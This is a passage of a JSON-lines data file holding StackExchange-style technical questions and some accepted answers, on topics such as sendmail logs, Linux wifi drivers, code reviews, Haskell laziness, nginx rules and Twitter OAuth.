{  "id": "_unix.44793"  , "question": "I am using Ubuntu 11.10 (oneiric)./var/log/mail keeps inflating on my server:Aug  5 10:48:25 domU-12-31-39-0B-C4-54 sm-msp-queue[13360]: q71He1xw027248: to=postmaster, delay=3+17:03:10, xdelay=00:00:00, mailer=relay, pri=23074446, relay=[127.0.0.1] [127.0.0.1], dsn=4.0.0, stat=Deferred: Connection refused by [127.0.0.1]Aug  5 10:48:25 domU-12-31-39-0B-C4-54 sm-msp-queue[13308]: q717K1wk024979: to=postmaster, delay=4+03:23:18, xdelay=00:00:00, mailer=relay, pri=25779463, relay=[127.0.0.1] [127.0.0.1], dsn=4.0.0, stat=Deferred: Connection refused by [127.0.0.1]Aug  5 10:48:25 domU-12-31-39-0B-C4-54 sm-msp-queue[13360]: q71He1xx027248: to=postmaster, delay=3+17:03:10, xdelay=00:00:00, mailer=relay, pri=23075343, relay=[127.0.0.1] [127.0.0.1], dsn=4.0.0, stat=Deferred: Connection refused by [127.0.0.1]...I am not using sendmail directly, and would prefer to disable it.It seems sendmail cannot start:$ sudo /etc/init.d/sendmail start * Starting Mail Transport Agent (MTA) sendmail451 4.0.0 /etc/mail/sendmail.cf: line 100: fileclass: cannot open '/etc/mail/local-host-names': Group writable directoryI believe I have the correct permissions:$ ls -ld /etc/mail/local-host-names-rw-r--r-- 1 root root 52 2011-12-04 06:58 /etc/mail/local-host-namesBut ... are the permissions on the parent folder ok?g$ ls -ld / /etc /etc/maildrwxr-xr-x 23 root  root  4096 2012-05-23 08:38 /drwxrwxr-x 99 root  root  4096 2012-08-05 07:29 /etcdrwxr-sr-x  7 smmta smmsp 4096 2011-12-04 06:58 /etc/mailI would want to either fix sendmail, or disable it. I tried:$ sudo update-rc.d sendmail disableupdate-rc.d: warning: sendmail start runlevel arguments (none) do not match LSB Default-Start values (2 3 4 5)update-rc.d: warning: sendmail stop runlevel arguments (none) do not match LSB Default-Stop values (1) Disabling system startup links for /etc/init.d/sendmail ... Removing any system startup links for /etc/init.d/sendmail ...   /etc/rc0.d/K19sendmail   /etc/rc1.d/K19sendmail   /etc/rc2.d/K79sendmail   /etc/rc3.d/K79sendmail   /etc/rc4.d/K79sendmail   /etc/rc5.d/K79sendmail   /etc/rc6.d/K19sendmail Adding system startup for /etc/init.d/sendmail ...   /etc/rc0.d/K19sendmail -> ../init.d/sendmail   /etc/rc1.d/K19sendmail -> ../init.d/sendmail   /etc/rc6.d/K19sendmail -> ../init.d/sendmail   /etc/rc2.d/K79sendmail -> ../init.d/sendmail   /etc/rc3.d/K79sendmail -> ../init.d/sendmail   /etc/rc4.d/K79sendmail -> ../init.d/sendmail   /etc/rc5.d/K79sendmail -> ../init.d/sendmailbut my mail.log still gets the same errors.Additional links I looked into:http://www.linuxforums.org/forum/servers/184133-connection-refused-127-0-0-1-mail-logs.htmlhttps://serverfault.com/questions/314429/cannot-open-etc-mail-trusted-users-group-writable-directory "  , "title": "How to prevent /var/log/mail.log from inflating?"  , "tags": "ubuntu;sendmail"  } 
{  "id": "_unix.359882"  , "question": "I just installed Linux Mint 18 kde version.All seemed to work fine except the wifi.There were wifi networks but laptop was not able to detect any connection.I checked that I am using BCM4313 wireless adapter provided by broadcom which is  shown as not working always in Linux wireless siteHow can I make Linux mint 18 connect to WiFi?I had used Kubuntu 16.1 and Linux mint 17.3 before on my laptop and both seemed to work properly with WiFi devices.Can someone please help?"  , "title": "How do I make my wifi connection work with Linux mint 18?"  , "tags": "linux mint;wifi;drivers"  } 
{  "id": "_codereview.82114"  , "question": "I'm developing on a web application where I have a start and a finish date and time and have to set the duration between it.There are inputs for dates and times.Then, I have this function which calculates the duration between the two of them, and they are working properly. The duration, though, needs to be dynamic. So, i made this piece of code, creating a on on each of then, so that when it changes, they mount an object with the four datetime values and then call it to the getDuration function.$(document.body).on('change','.data-inicio > input',function () {    var tr   = $(this).parent().parent();    var time = {        dstart:  dateDbToView($(this).val()),        hstart:  tr.find('.hora-inicio').find('input').val(),        dfinish: dateDbToView(tr.find('.data-final').find('input').val()),        hfinish: tr.find('.hora-final').find('input').val()    };    var drc = getDuration(time.dstart, time.hstart, time.dfinish, time.hfinish);    tr.find('.duracao').find('input').val(drc);});$(document.body).on('change','.hora-inicio > input',function () {    var tr   = $(this).parent().parent();    var time = {        dstart:  dateDbToView(tr.find('.data-inicio').find('input').val()),        hstart:  $(this).val(),        dfinish: dateDbToView(tr.find('.data-final').find('input').val()),        hfinish: tr.find('.hora-final').find('input').val()    };    var drc = getDuration(time.dstart, time.hstart, time.dfinish, time.hfinish);    tr.find('.duracao').find('input').val(drc);});$(document.body).on('change','.data-final > input',function () {    var tr   = $(this).parent().parent();    var time = {        dstart:  dateDbToView(tr.find('.data-inicio').find('input').val()),        hstart:  tr.find('.hora-inicio').find('input').val(),        dfinish: dateDbToView($(this).val()),        hfinish: tr.find('.hora-final').find('input').val()    };    var drc = getDuration(time.dstart, time.hstart, time.dfinish, time.hfinish);    tr.find('.duracao').find('input').val(drc);});$(document.body).on('change','.hora-final > input',function () {    var tr   = $(this).parent().parent();    var time = {        dstart:  dateDbToView(tr.find('.data-inicio').find('input').val()),        hstart:  tr.find('.hora-inicio').find('input').val(),        dfinish: dateDbToView(tr.find('.data-final').find('input').val()),        hfinish: $(this).val()    };    var drc = getDuration(time.dstart, time.hstart, time.dfinish, time.hfinish);    tr.find('.duracao').find('input').val(drc);});My question is: this looks pretty confusing for anyone but me, which can be an bad point when it comes about maintenance. There must be a better way of making this work, so, I'm asking for suggestions."  , "title": "Getting duration between two dates"  , "tags": "javascript;jquery;html;datetime;form"  } 
{  "id": "_unix.131468"  , "question": "Using Debian wheezy 7.5 x64 on a Acer Aspire 5738Z, I found that maximum brightness (value '9' in /sys/class/backlight/acpi_video0/max_brightness) is much lower than maximum brightness offered by hardware (i.e., when using windows on the same machine is almost 1.5 times!).Considering that: many googled related questions suggest that max_brightness should be '15' on Debian;the file max_brightness is not modifiable by root even with rwx permissions (it says I/O error)Is there  any workaround to this boundary?"  , "title": "Max Brightness too low on Debian"  , "tags": "debian;drivers;video;brightness"  } 
{  "id": "_datascience.2427"  , "question": "The meaning of multi-class classification rulesExample: I have two classification rules (Refund is a predictor and Cheat is a binary response):(Refund, No)  (Cheat, No) Support = 0.4, Confidence = 0.57(Refund, No)  (Cheat, Yes) Support = 0.3, Confidence = 0.43=> multi-class classification rules:(Refund, No)  (Cheat, No) v (Cheat, Yes)When predicted classification for test data, (Cheat, No) will be selected priority so why we need to have (Cheat, Yes) in multi-class classification rules here?"  , "title": "The meaning of multi-class classification rules"  , "tags": "classification"  } 
{  "id": "_scicomp.2124"  , "question": "I am looking for recommendations for a C++ math library, with a permissive licence, well suited to calculating a wide variety of statistics on segmentations of timebased parameter data.I would be particularly interested in anything that can quantify properties of the curve shapes as well as the raw data set."  , "title": "Permissive Math Library for Parameter Statistics in C++"  , "tags": "c++;statistics"  } 
{  "id": "_webmaster.37854"  , "question": "Recently we implemented Varnish in front of our web nodes so that the backend would get some rest from time to time. Since varnish is case sensitive and our app was not we implementeda 301 in varnish to redirect to small case. Example:You search for PlumBer StockHOLM you will get a 301 redirect to plumber stockholm and thenplumber stockholm will be cached. This worked as a charm, but when checking the Google webmaster tools we suddenly got a crazy amount of Status - Not able to follow errors. As you can see in the image below: This of course stirred up some panic and I started to read up on the documentation once again. If I pressed on one of the links I got to the help section where i found this:Well this is strange, but as the day progressed more and more errors were thrown by Google. We took the decision to make varnish return 200 instead of the 301.Now when testing the links that appears in the Not able to follow section I get a 200 back. I have tested with Chrome, curl and lynx reader and everything looks ok but the amount of errors are still increasing. What is a little bit comforting is that the links that appears in the Not able to follow section are dated before the 200 change in varnish.Why do I get these errors and why do they keep increasing? Did google release something new on October 31? Maybe I do not understand the docs correctly?"  , "title": "Major Google not follow increase since introducing 301 to site"  , "tags": "google;google search console;301 redirect"  } 
{  "id": "_unix.372979"  , "question": "I'm using SSH to access a jump-box, essentially. I have two machines. The local machine, the one I'm physically seated in front of, is running Fedora 25. The server is running Cent OS 7. It sits behind a router, and I use it to hop into the network behind that router. Both machines have an identical user account, user1.I connect to the server by opening my favorite terminal emulator on the local machine and entering ssh -X -p 2201 server-dns.net where server-dns.net is the correct domain name of the server. I enter my password, and I reach a prompt. When I look at the prompt, I see that my username hasn't changed, but my hostname has.This is where the confusion begins. Both machines have a copy of Firefox installed, but only the server has a copy of Chromium installed. When I launch Chromium once connected, the remote instance of Chromium appears, and I can browse the remote network. But when I launch Firefox, my local install of Firefox opens. Why? When I ssh in as a different user, and launch Firefox, the remote install of Firefox opens. I know this issue is related to the usernames being identical, but how?"  , "title": "When attempting to open an application over X11 forwarding over SSH, why is a local instance of the application opening?"  , "tags": "ssh;x11;users;xforwarding"  } 
{  "id": "_softwareengineering.328377"  , "question": "I am trying to learn how lazy evaluation works because I'm going to implement try to implement it in the programming language I'm developing (I know it isn't the best thing to do (to try to implement something you don't even understand) but it's making for a good extensive lesson through the world of functional languages and the like), so I was reading the paper A Gentle Introduction to Haskell.Soon I encountered the paragraph on the non-strictness of Haskell functions and the possibility of creating teorethically infinite data structures, as shown in this example:numsfrom n = 1 : numsfrom (n + 1)squares = map (^ 2) (numsfrom 0)Now, take 5 squares would return [0, 1, 4, 9, 16], right? Well, my problem is understanding how it would do it.First things first, this is what I understood of lazy evaluation:lazy = lambda x, y: x or yAssuming Python was non-strict, if I passed to lazy 1 and 5 ** 1000000 the second parameter would not get evaluated, but it would get evaluated if I passed False as the first argument, because or would then have requested it.So when calling take 5 squares, squares has to be evaluated: map is called with (^ 2) and (numsfrom 0) as the arguments; But since map uses it's second argument, numsfrom 0 will be evaluated, starting an infinite loop.I cannot understand how would map return if it's evaluating an infinite loop, and what it would return. Can someone please explain me it?"  , "title": "Concerns on lazy evaluation and infinite data structures"  , "tags": "functional programming;haskell;evaluation"  , "accepted_answer": "You have the fundamental concept absolutely correct. The problem is that you're not applying it on a large enough scale.In Haskell, everything (or close enough for the purposes of this question and answer) behaves the way that or does in Python (and many, many languages). Including, say, Get me the next element of the list.So when you call numsfrom, in fact, the result of numsfrom is not created immediately and returned. It is produced as needed on an element-by-element basis. The function numsfrom can be partially evaluated, piece by piece, as the result is needed. Since map doesn't ask for an infinite number of elements, there is no infinite looping going on. This is similar to iterators I believe in Python.As a side note, shouldn't numsfrom be numsfrom n = n : numsfrom (n + 1)? Seems to me like your numsfrom will produce an infinite list of 1s."  } 
{  "id": "_vi.12677"  , "question": "I am new to vim and am trying to set a colorscheme. However, for both pre-installed and new colorschemes, the only thing that happens when I change the colorscheme is the background color changes. For example, :colo evening shows up with just a lighter gray background; :colo pablo changes nothing at all. Regardless of if I change it in the vimrc file or manually in a file, the result is the same. I am using iTerm2.What am I missing here?Update: changing colorscheme now changes the background color as well as other messages such as a .swp file exists... However, the text color of the actual program does not change. "  , "title": "Changing colorscheme does not change text color?"  , "tags": "vimrc;colorscheme;iterm2"  } 
{  "id": "_codereview.92162"  , "question": "In our automated test framework, written in Java 8, there are different entities representing test data, having different states and transitions between them.To model this behavior, I started to implement a simple finite state machine (or at least what I understand as a FSM).The idea to use it would be like this:public class Example {    private enum Human {        UNBORN, BORN, KID, ADULT, DEAD    }    @Test    public void test() {        StateMachine<Human> fsm = StateMachineBuilder.create(Human.class)                .from(Human.UNBORN).to(Human.BORN).to(Human.DEAD, this::died)                .from(Human.BORN).to(Human.KID).to(Human.DEAD, this::died)                .from(Human.KID).to(Human.ADULT).to(Human.DEAD, this::died)                .from(Human.ADULT).to(Human.DEAD).startAt(Human.UNBORN);        // dying as an unborn :(        fsm.go(Human.DEAD);        // going from UNBORN to BORN, KID, ADULT        fsm.reset();        fsm.go(Human.ADULT);    }    private void died() {        System.out.println(Oh no :();    }}The reason I chose to write an implementation by myself was that ie. stateless4j doesn't support going directly from UNBORN to ADULT, because it doesn't look for a shortest path.Although I'm thankful for every feedback I can get, I'm mostly thinking about the following points:Is my state machine a state machine? The input it receives aren't any triggers or so, but a target state it should transition to.Is my builder really a builder?Is there a simple way to not allow multiple from calls like builder.from(KID).from(ADULT)? I know I could introduce another class as return value for the first call to form, and using TransitionAdder only for to, but it seems like an overkill.Are the names okay? In particular, I'm unhappy with TransitionAdder.Have I missed important information in the Javadoc?shortestRoute.get().add(0, from); - should I use LinkedLists if I want to do this, or is it okay with ArrayLists in this case?If I would share this and deploy it in a central maven repository - should I use a logger (if so, I would use slf4j instead of log4j) or none at all?Is it okay to use Runnable in this case, or should I introduce my own functional interface like Transition?StateMachine.javapackage fsm;import com.google.common.collect.Table;import org.apache.log4j.Logger;import java.util.*;import java.util.stream.Collectors;/** * An implementation of a state machine able to choose the shortest path between two states. * * @param <S> the Enum describing the possible states of this machine */public class StateMachine<S> {    private static final Logger log = Logger.getLogger(StateMachine.class);    private final Table<S, S, List<Runnable>> transitions;    private final S initialState;    private S currentState;    private int transitionsDone = 0;    StateMachine(Table<S, S, List<Runnable>> transitions, S initialState) {        this.transitions = Objects.requireNonNull(transitions);        this.initialState = currentState = Objects.requireNonNull(initialState);    }    /**     * Tries to look for the shortest path from {@code currentState} to {@code state} and executing all registered     * transition actions.     *     * @param state the state to go to     * @return this     * @throws IllegalArgumentException if there is no path to {@code state}     */    public StateMachine<S> go(S state) {        if (currentState != state) {            final List<Runnable> runnables = transitions.get(currentState, state);            if (runnables != null) {                // there's a direct path                log.trace(Going to state  + state);                runnables.forEach(Runnable::run);                currentState = state;                transitionsDone++;            } else {                // check if there is a path                List<S> intermediaryStates = getShortestStatePathBetween(currentState, state);                if (intermediaryStates != null) {                    // the first item is the same as currentState, but since we ignore going to the current state,                    // we don't have to strip it                    intermediaryStates.forEach(this::go);                } else {                    throw new IllegalArgumentException(There is no valid transition!);                }            }        }        return this;    }    /**     * Returns the current state the machine is in     *     * @return the current state of the machine     */    public S getCurrentState() {        return currentState;    }    /**     * Returns how many transitions were done by this machine.     * <p>     * Most used for debugging purpouses.     *     * @return an integer greater or equal to 0, describing how many transitions were done     */    public int getTransitionsDone() {        return transitionsDone;    }    /**     * Resets the current state to the state the machine was created with, without doing any transitions.     * <p/>     * Also, {@link StateMachine#getTransitionsDone()} will return 0 again after {@code reset}     */    public void reset() {        currentState = initialState;        transitionsDone = 0;    }    /**     * Looks for the shortest available state path between the states {@code from} and {@code to}     * <p>     * Given the transitions {@code A -&gt; B -&gt; C -&gt; D -&gt; E}, a call to     * {@code getShortestStatePathBetween(B, D)} will return the list {@code [B, C, D]}     *     * @param from the state to start looking     * @param to   the state to find a path to     * @return either a list describing the shortest path from {@code from} to {@code to} (including themselves),     * or null if no path could be found     */    private List<S> getShortestStatePathBetween(S from, S to) {        final Set<S> reachableStates = getKeysWithoutValue(transitions.row(from));        if (reachableStates.contains(to)) {            final List<S> l = new ArrayList<>();            l.add(from);            l.add(to);            return l;        }        final List<List<S>> routes = new ArrayList<>();        for (S reachableState : reachableStates) {            final List<S> statesBetween = getShortestStatePathBetween(reachableState, to);            if (statesBetween != null) {                routes.add(statesBetween);            }        }        final Optional<List<S>> shortestRoute = getShortestList(routes);        if (shortestRoute.isPresent()) {            shortestRoute.get().add(0, from);            return shortestRoute.get();        } else {            return null;        }    }    protected static <T> Set<T> getKeysWithoutValue(Map<T, ?> map) {        return map.entrySet().stream().filter(e -> e.getValue() != null).map(Map.Entry::getKey).collect(Collectors                .toSet());    }    protected static <T> Optional<List<T>> getShortestList(List<List<T>> lists) {        return lists.stream().min((l1, l2) -> l1.size() - l2.size());    }}StateMachineBuilder.javapackage fsm;import com.google.common.collect.ArrayTable;import com.google.common.collect.Table;import java.util.ArrayList;import java.util.Arrays;import java.util.List;import java.util.Map;/** * Configuration class for creating enum based StateMachines. * <p> * To create a builder, call the static factory method {@link StateMachineBuilder#create(Class)} * <p> * Configuration is fluently done using {@link StateMachineBuilder#from(Enum)} and * {@link fsm.StateMachineBuilder.TransitionAdder#to(Enum)}. * <p> * Example usage: * <pre> *     StateMachineBuilder&lt;SomeEnum&gt; builder = StateMachineBuilder.create(SomeEnum.class); * *     builder.from(SomeEnum.A).to(SomeEnum.B) *     .from(SomeEnum.B).to(SomeEnum.C).to(SomeEnum.D) *     .from(SomeEnum.A).to(SomeEnum.C, () -&gt; System.out.println(&quot;Transition to C&quot;); * *     StateMachine&lt;SomeEnum<&gt; stateMachine = builder.startAt(SomeEnum.A); * </pre> * * @param <S> the used Enum */public class StateMachineBuilder<S extends Enum<S>> {    private final Table<S, S, List<Runnable>> transitions;    private StateMachineBuilder(S[] validStates) {        final List<S> valueList = Arrays.asList(validStates);        transitions = ArrayTable.create(valueList, valueList);    }    public static <T extends Enum<T>> StateMachineBuilder<T> create(Class<T> e) {        return new StateMachineBuilder<>(e.getEnumConstants());    }    public TransitionAdder from(S state) {        return new TransitionAdder(transitions.row(state));    }    /**     * Creates a new {@link StateMachine} using the current configuration     *     * @param initialState the starting state of the state machine     * @return a new StateMachine     */    public StateMachine<S> startAt(S initialState) {        return new StateMachine<>(transitions, initialState);    }    public class TransitionAdder {        private final Map<S, List<Runnable>> transitionsTo;        private TransitionAdder(Map<S, List<Runnable>> transitionsTo) {            this.transitionsTo = transitionsTo;        }        /**         * Creates a new transition to {@code state}, executing the transition {@code transition} when         * switching the state to it         *         * @param state the state to create the transition to         * @param transition a functional interface which should be executed when transitioning to {@code state}         */        public TransitionAdder to(S state, Runnable transition) {            List<Runnable> runnables = transitionsTo.get(state);            if (runnables == null) {                runnables = new ArrayList<>();                transitionsTo.put(state, runnables);            }            runnables.add(transition);            return this;        }        /**         * Creates a new transition to {@code state} without an action         *         * @param state the state to create the transition to         */        public TransitionAdder to(S state) {            List<Runnable> runnables = transitionsTo.get(state);            if (runnables == null) {                runnables = new ArrayList<>();                transitionsTo.put(state, runnables);            }            return this;        }        /**         * @see StateMachineBuilder#from(Enum)         */        public TransitionAdder from(S state) {            return StateMachineBuilder.this.from(state);        }        /**         * @see StateMachineBuilder#startAt(Enum)         */        public StateMachine<S> startAt(S initialState) {            return StateMachineBuilder.this.startAt(initialState);        }    }}"  , "title": "Finite State Machine supporting shortest path transitions"  , "tags": "java;state machine"  } 
{  "id": "_softwareengineering.284905"  , "question": "Can you tell me the value of using PHP encoder (ioncube, phpshield) with currently present service like decry.pt (http://www.decry.pt/) that can easily decode source codes.I have tried decry.pt's free demo. Just drag & drop an encoded source and it will return the decoded one. It is so easy.It seems the value of encoder can be easily be canceled."  , "title": "What is the value of encoders with decoders currently present"  , "tags": "php;security"  } 
{  "id": "_webapps.2088"  , "question": "I have seen a couple of webapps that say something along the lines:Use your twitter account-> User ___  password __ And then they take you to some other page. After all this phishing warnings and all, why should I trust in one of those apps?"  , "title": "Am I to trust my user/password to some apps that claim to be integrated with Twitter?"  , "tags": "phishing;twitter integration"  , "accepted_answer": "What sites should do is use twitters oAuth to sign in, it will redirect you to twitter where you will be asked if want to share details (never your password). External sites will soon no longer be able to sign users into twitter using a username and password so behaviour like this will soon be going the way of the dodo.  To see it in action, I have built a site for the stack apps api that uses twitter oAuth called stack of twits."  } 
{  "id": "_unix.218999"  , "question": "The default interface of Zorin OS is a Windows 7 like interface, which is what I am looking for:In the gallery page of the Zorin OS website, it shows, the option to change to a Windows 7, XP, 2000 interface.I downloaded the free Zorin OS Lite, installed it next to Windows 7(dual boot). After I installed it, the interface was a Windows 2000 like interface. I found out in the Zorin OS look changer, that I only have the option of changing the looks to Windows 2000 Or Mac OS X. Don't like either of them. This is for a former Windows user, he has an old PC, with Win7, thats just too slow. and I want to make his transition to Linux* as enjoyable as possible. Hence the Windows 7 look is needed."  , "title": "How to install the Windows 7 look on Zorin OS, Ubuntu Based Distro"  , "tags": "zorin"  } 
{  "id": "_webmaster.34383"  , "question": "Possible Duplicate:Self hosted Web Analytics like urchin There are sites that provide web analytics solutions. But I don not want dependence to external sites and I want embed an analyzer in my PHP-based website. Is there such off-the-shelf solution so I can embed it in my site with no dependency to other sites? What is pros and cons of each one? Which one is most extensible?  "  , "title": "Is there any alternative to web analytics websites?"  , "tags": "traffic;analytics"  } 
{  "id": "_softwareengineering.263912"  , "question": "I'm new to the open source community. When I look at projects on Github I don't see any forum. There's only an issues page. Is that only meant for submitting bugs? Or can I say other things? for example:Can I suggest features? e.g. I have an idea. It would be great if this project had this and that.Can I ask questions like How does this work? or What's the syntax for this?Is it nice to address problems that I'm having? e.g. I tried this but it didn't work. Maybe I'm doing something wrong. Can someone help me?Can I ask what the owners think about a pull request I want to send? e.g I'm going to implement this. Would you accept it?"  , "title": "What can I say in Github issues?"  , "tags": "github"  , "accepted_answer": "Yes to all but check to see if there is a better place for 2 and 3.StackOverflow should be your first port of call, first to check if your question has been asked and second to construct a question.1 and 4 are most certainly the sort of things you can create an issue for. The maintainers are likely to tag them as 'Feature request' or 'Improvement' etc."  } 
{  "id": "_unix.299432"  , "question": "I stumbled an outdated man page on my system (ubuntu 14.04), and I want to reinstall all man pages.I tried to use sudo mandb, and also sudo apt-get install man-db and sudo apt-get install manpages-dev, none of them worked.What are other options? "  , "title": "Why do I have outdated man pages and what can I do about it?"  , "tags": "upgrade;man"  , "accepted_answer": "The man pages on your system correspond to the software that's installed on your system. It would be bad if you had documentation that didn't describe the software you're running!Ubuntu 14.04, by definition, includes software versions released at least a few months before April 2014.Reinstalling man pages won't give you more recent versions. Reinstalling just gives you what you already had.If you want your system to have recent documentation, you need to upgrade your distribution. You'll get more recent software and the assorted documentation.If you want to read documentation for software that you don't have installed, then just read it on a website.If you want to have easy access to software and documentation that's newer or older than your distribution, you can install another distribution on your machine (e.g. another release of Ubuntu), either in a virtual machine or in a chroot. See How do I run 32-bit programs on a 64-bit Debian/Ubuntu?"  } 
{  "id": "_codereview.145820"  , "question": "At now I have such code, creating or updating some entity by dto items. public void Upsert(List<Object> items){    var existings = _db.Get().Where().ToList();    foreach (var item in items)    {        var existing = existings.FirstOrDefault(x => x.Id == item.SomeId);        if (existing == null)        {            if (item.Property != 645)            {                throw new EntityNotFoundException();            }            // create new        }        else        {            // update existing        }    }    _db.Save();}I want to move if (item.Property logic out of this layer. I cannot add some method to Object, it is simply dto. I also cannot subclass UpsertService.What I can do is to pass Action<Object> checkWhenNotFound to Upsert method. Disadvantage - I need to write all those mocking It.IsAny<Action<Object, NotOnlyObjectInReal, AndMaybeMore>> in tests.Other way is to inject checker inside Upsert caller ctor:interface IUpsertService {    void Upsert(List<Object> items);    void SetChecker(Action<Object>);}public Owner(IUpsertService service){    _service = service;    service.SetChecker(CheckWhenNotFound)}private CheckWhenNotFound(Object item){    if (item.Property != 645)    {        throw new EntityNotFoundException();    }}Is there commmon solution for such problem?"  , "title": "Business rule check inside DAL service"  , "tags": "c#"  , "accepted_answer": "Can't add a comment, so I'm going to try to answer the question.If I'm understanding the question correctly, you don't want the responsibility of validation to be in the Upsert method. If that is the case then you can invert the control to another class by passing a 'Validator'. Which I think is what you are alluding to in the second part of the question but I would recommend the following implementation.In a nutshell what you do is create a class which is responsible for validation which is injected into the main class. This makes this testable as well.private readonly IValidator _validator;public Constructor(IValidator validator){  _validator = validator;}public void Upsert(List<Object> items){    var existings = _db.Get().Where().ToList();    foreach (var item in items)    {        var existing = existings.FirstOrDefault(x => x.Id == item.SomeId);        if (existing == null)        {            _validator.ValidateEntity(existing);        }        else        {            // update existing        }    }    _db.Save();}Example Implementation of the IValidator interface would bepublic Validator : IValidator{  void ValidateEntity(object existing)  {    if (item.Property != 645)    {      throw new EntityNotFoundException();    }  }}You could take this further and use generics and allow the Validator class to decide what the object is and what needs validating."  } 
{  "id": "_unix.287024"  , "question": "Pseudocode ln -s $HOME/file $HOME/Documents/ $HOME/Desktop/where I want to create a symlink from the source to two destinations. Probably, moreutils and pee. How can you create many symlinks from one source?"  , "title": "ln -s: from one source to many destinations"  , "tags": "symlink"  , "accepted_answer": "You can't do this with a single invocation of ln,but you could loop through all necessary destinations:$ for i in $HOME/Documents/ $HOME/Desktop/; do ln -s $HOME/file $i; done"  } 
{  "id": "_cstheory.38305"  , "question": "The answer to my last question on the subject made several insightful points on how EAL could be used as the basis of a practical programming language, which, in turn, could be evaluated using the abstract part of Lamping's algorithm. I understand most of the practical remarks and they match my experimentation. I don't, though, understand, in a precise manner, the restrictions that I must follow in order to ensure my terms are EAL-typeable.Those are the typing rules for EAL*, as presented here:I have a vague understanding of what this is saying. I do understand functions can only be applied on terms without !s, and I understand there is a rule to introduce and remove those !s, but I don't fully grasp it. What, exactly, are the restrictions imposed by EAL? What means for a term to be stratified? What are those boxes about? I'd highly appreciate (non-PHD) resources to catch up with the understanding I'm missing here."  , "title": "What, in simple terms, are the restrictions imposed by Elementary Affine Logic?"  , "tags": "cc.complexity theory;lambda calculus;interaction nets"  , "accepted_answer": "The terms stratification and boxes come from proof nets.  Elementary linear logic ($\\mathbf{ELL}$) was originally introduced by Girard as a variant of light linear logic ($\\mathbf{LLL}$) and its execution was formulated in terms of proof nets.  It is on proof nets that the elementary bound is satified, i.e., every $\\mathbf{ELL}$ proof net $\\pi$ may be reduced to its cut-free form in a number of steps bounded by$$\\left.2^{\\vdots^{2^s}}\\right\\}d$$where $s$ and $d$ are the size and the depth of $\\pi$ (maybe the height of the tower is not exactly $d$, it is linear in $d$ I guess).The size of a proof net is similar to the size of a $\\lambda$-term.  The depth, on the other hand, is the maximum number of nested boxes in $\\pi$. A box is basically a sub-proof net which may be duplicated or erased: remember that in linear logic there is no free contraction or weakening, which means that proofs in general may not be duplicated or erased; those that can must be marked with a special construct, called box.Stratification refers precisely to the depth.  It is an informal word that people in the linear logic community use to describe the restricted cut-elimination dynamics that is typical of systems like $\\mathbf{ELL}$.  In full linear logic proof nets, cut-elimination may completely alter the depth: if $\\pi\\to\\pi'$ by means of a cut-elimination step and $a$ is a node of $\\pi$ at depth $i$ which has a residue $a'$ in $\\pi'$, the depth of $a'$ may be anything between $0$ ($a$ is pulled out of all boxes) and $2d$, where $d$ is the depth of $\\pi$ ($a$ is at maximal depth and it enters inside a box which is also at maximal depth).  On the contrary, $\\mathbf{ELL}$ proof nets, because of the structural constraints that define them, have the remarkable property that the depth is invariant under cut-elimination: in the above case, the depth of $a'$ is exactly $i$.  This stratification property is essential in proving the complexity bounds of light logics (elementary for $\\mathbf{ELL}$ and polynomial for $\\mathbf{LLL}$).From the point of view of Lamping's algorithm, the depth corresponds to the integer label of fan nodes.  Stratification means that a sharing graph corresponding to an $\\mathbf{ELL}$ proof net will need no brackets and croissants to be evaluated, because the labels of fan nodes do not change.After Girard, people started applying the principles of light and elementary linear logic to define type systems for usual $\\lambda$-terms (instead of proof nets) which would ensure interesting normalization properties.  The paper you mention falls in this line of work, which explains the terminology they use.  Informally, typing a simply-typed $\\lambda$-term amounts to decorating it with boxes, which is what their so-called pseudo-terms are for.For the rest, $EAL^\\star$ is just like any other non-trivial type system for $\\lambda$-terms: there is no simple description of what a typable term looks like; the shortest description is its type derivation!"  } 
{  "id": "_unix.184945"  , "question": "I've looked for the greater part of two hours trying to see if I could find a way to redirect the output of a bash script to the line that called the bash script. The best example I can use to describe what I'm looking for is the Completion function that gets executed when one presses [TAB]:$ech[tab] #--> $echo  I should note that the #--> was supposed to represent how the completion finished off the word echo. The closest thing I was able to find was setting certain options to echo so that \\b\\b can be read, and stdout can update the same line. But this is not what I'm looking for. I'd like to be able to output directly to either current, or next line within the console input. Is this even possible from bash script? Edit: Thanks to all who responded. I feel like I should update my original question, and possibly even change the question title itself. The scope of my question changed in the following way: this no longer is a question about what I can or can't accomplish via scripting alone. My original goal was to emulate the Completion function, which I've come to learn is actually a built-in bash command. It seems that the specific library that I should put attention to (in order to even begin trying to emulate bash's tab-completion command) is the Readline library. bash-completion itself was implemented in C(++?). In any case, thanks again for the insightful responses, and if anyone has tips beyond what is stated in the above article (maybe from personally using the Readline, or Completion libraries), I look forward to reading your comments. "  , "title": "Set bash script output to the line that called bash script"  , "tags": "linux;bash;shell script;io redirection;io"  } 
{  "id": "_webmaster.91140"  , "question": "Plesk allows adding Additional nginx directives for hosted websites.I'm trying to use this to set a 410 header on some old directories, but I can't find anything as simple as RewriteRule ^rss/ - [G] was in .htaccess rules. I've seen location /rss/ { return 410; } suggested but that doesn't work.Is there a simple nginx directive to 410 a whole directory in Plesk?"  , "title": "Plesk 410 Directory"  , "tags": "nginx;plesk;410 gone"  , "accepted_answer": "Use:location ^~ /rss {    return 410;} Regex matches all get applied earlier than other rules, so this makes the rule get applied first.  The problem may be that there is some other rule that is getting applied first."  } 
{  "id": "_webapps.20118"  , "question": "I love Dropbox. But Dropbox for Teams seems most appropriate for Teams with few members and a lot of data. I'm working with a team that has lots of members, but not much data, so the Dropbox pricing seems high. Does anybody have a recommendation for a file synchronization server for teams with lots of people, but not a lot of data (<50GB)?"  , "title": "Is there cost effective file synchronization service for large teams with not much data?"  , "tags": "dropbox;files;synchronization"  } 
{  "id": "_softwareengineering.110176"  , "question": "I am writing an iPad application.  The main view of the application will be a PDF.  I have made considerable progress in parsing out the contents of the PDF.The application will also have at least two side views.  These side views may or may not themselves be driven by PDF files.  That is part of what I am trying to figure out.The main PDF will contain some hidden buttons which cause the side view to show certain things.  For example, there might be a button over the name Lincoln that brings up a side view about Abe Lincoln, another one over the name Washington that brings up a side view about George Washington, and so on.  The creation of these hidden buttons should be driven by data in the main PDF.  I'm thinking this means annotations.Two questions:1) Is there one type of annotation that I might prefer over another?  Options I can see include actions, URIs, and maybe links -- but the last one could be complicated by the numerous internal links within the PDF.2) Should I use PDFs for the side views?  What are the arguments, pro and con?Considerations:A)  Ease of moving the app to other platforms laterB)  Pirating.  I would prefer that someone who got my PDFs not be able to reproduce the app without some work.  EDIT: answering the questions posed in an answer:By action, I mean PDF action.  See section 12.6 of the [http://www.adobe.com/devnet/pdf/pdf_reference.html](PDF 